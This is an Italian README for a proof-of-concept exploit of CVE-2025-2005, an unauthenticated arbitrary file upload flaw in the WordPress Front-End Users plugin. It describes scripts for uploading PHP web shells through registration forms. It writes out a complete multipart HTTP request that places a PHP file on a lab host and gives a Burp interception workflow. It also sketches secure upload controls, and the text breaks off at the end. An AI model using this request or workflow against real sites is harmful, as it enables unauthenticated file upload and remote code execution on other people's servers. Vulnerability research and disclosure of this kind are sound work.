h4ckxel/cve-2025-2005Exploit proof-of-concept per CVE-2025-2005, una vulnerabilità di upload arbitrario di file nel plugin WordPress Front-End Users (<=3.2.32). Include script HTTP manuali e Python per caricare shell web PHP su moduli di registrazione non autenticati.
CVE-2025-20050xZ3R0 // h4ckxel
Front-End Users è affetto da una vulnerabilità di caricamento arbitrario di file non autenticato che interessa le versioni ≤ 3.2.32.
Il flusso di registrazione vulnerabile espone una primitiva di caricamento che può essere raggiunta senza richiedere un account WordPress privilegiato.
Il problema alla base è una validazione insufficiente dei metadati e del contenuto del caricamento controllati dall'attaccante prima che il file venga salvato nel filesystem.
UNAUTHENTICATED ATTACKER
│
▼
Public registration form
│
▼
multipart/form-data
│
▼
Front-End Users handler
│
▼
Insufficient validation
│
▼
Attacker-controlled file
│
▼
/wp-content/uploads/ewd_feup_uploads/
│
▼
Web-accessible resource
│
▼
PHP execution if permitted
│
▼
RCE
L'impatto finale dipende dalla configurazione del web server e di PHP del target.
| Proprietà | Valore |
|---|---|
| CVE | CVE-2025-2005 |
| Prodotto | Front-End Users |
| Versioni affette | ≤ 3.2.32 |
| CWE | CWE-434 |
| Classe | Caricamento non limitato di file di tipo pericoloso |
| Vettore di attacco | Rete |
| Autenticazione | Nessuna |
| Privilegi richiesti | Nessuno |
| Interazione utente | Nessuna |
| Primitiva principale | Caricamento arbitrario di file |
| Impatto potenziale | Esecuzione di codice remoto |
| Ricercatore | h4ckxel |
| Namespace | 0xZ3R0 |
Caricamento non limitato di file di tipo pericoloso
Il comportamento vulnerabile può essere ridotto a:
Untrusted Input
│
├── filename
├── extension
├── MIME type
└── file content
│
▼
upload handler
│
▼
filesystem
Il confine di sicurezza fallisce perché dati controllati dall'attaccante raggiungono una posizione persistente nel filesystem senza una validazione sufficiente.
La funzionalità vulnerabile è associata al sistema di registrazione front-end del plugin.
Una tipica richiesta di registrazione contiene:
ewd-feup-action=register
Username=<value>
User_Password=<value>
e può contenere un ulteriore campo file multipart:
Content-Disposition: form-data;
name="xxploit";
filename="poc.php"
Content-Type: application/x-php
La parte interessante non è la registrazione in sé.
La parte interessante è che la richiesta attraversa il seguente confine di fiducia:
INTERNET
│
▼
attacker-controlled HTTP
│
▼
registration endpoint
│
▼
upload handler
│
▼
filesystem
La vulnerabilità ha origine da una validazione lato server inadeguata dei file caricati.
Un'implementazione sicura dovrebbe stabilire più controlli indipendenti:
UPLOAD
│
┌────────────┴────────────┐
▼ ▼
Authentication Authorization
│ │
└────────────┬────────────┘
▼
Extension allowlist
│
▼
MIME verification
│
▼
Content validation
│
▼
Server-side filename
│
▼
Non-executable storage
Nessuno di questi controlli, se assente, crea necessariamente RCE.
Il problema diventa sostanzialmente più grave quando più livelli falliscono contemporaneamente.
Il seguente PoC dimostra la primitiva di scrittura su file senza distribuire una shell di comandi.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----0xZ3R0Boundary
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------0xZ3R0Boundary
Content-Disposition: form-data; name="Username"
poc-user
------0xZ3R0Boundary
Content-Disposition: form-data; name="xxploit"; filename="poc.php"
Content-Type: application/x-php
<?php echo "CVE-2025-2005"; ?>
------0xZ3R0Boundary--
wp-content/
└── uploads/
└── ewd_feup_uploads/
└── <randomized-name>.php
L'osservazione importante è:
attacker-controlled extension
+
attacker-controlled content
+
persistent filesystem write
Un flusso di lavoro pratico per un ambiente di laboratorio:
[1] Open registration page
│
▼
[2] Submit legitimate registration
│
▼
[3] Intercept request with Burp
│
▼
[4] Locate multipart file parameter
│
▼
[5] Replace benign file with PoC file
│
▼
[6] Forward request
│
▼
[7] Inspect response
│
▼
[8] Verify filesystem artifact
│
▼
[9] Test whether uploads are executable
L'osservazione critica per la sicurezza deve essere effettuata prima di tentare qualsiasi post-sfruttamento.
Content-Disposition: form-data;
name="avatar";
filename="avatar.jpg"
<image-data>
Content-Disposition: form-data;
name="xxploit";
filename="poc.php"
<?php echo "CVE-2025-2005"; ?>
Concettualmente: